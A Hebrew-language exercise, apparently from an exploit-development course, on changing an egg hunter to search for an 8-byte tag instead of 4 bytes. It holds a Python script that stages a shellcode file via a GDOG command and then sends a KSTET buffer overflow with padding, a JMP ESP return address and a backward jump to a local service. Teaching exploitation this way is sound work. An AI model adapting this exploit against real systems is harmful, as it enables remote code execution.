חיפוש תגיות

בתרגיל זה נשנה את הקוד לחיפוש תגיות (egg hunter) כך שישתמש ב-8 בתים ולא ב-4. בתהליך גדול, קיימת סבירות גבוהה להמצאות 4 בתים מסוימים (בפרט בתים אלו נמצאים בקוד שלנו במחסנית). עליכם לשנות את הקוד לחיפוש תגיות כך שיתיאם לסקריפט הבא בשפת פייתון. התגית החדשה, שאורכה 8 בתים, מסומנת בצהוב.

```
import socket
from struct import pack

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 9999))
print(sock.recv(1000))

sock.send("GDOG MYSCESCE" + open("calc", "rb").read())

buf = "KSTET ."
buf += open("code", "rb").read()
buf += "A" * (0x4C - len(buf))
buf += pack("<I", 0x625011AF) # JMP ESP
buf += "\xEB" # JUMP BACK
buf += pack("<I", 0xffffffff - (len(buf) + 1 - 7) + 1)
sock.send(buf)

sock.close()
```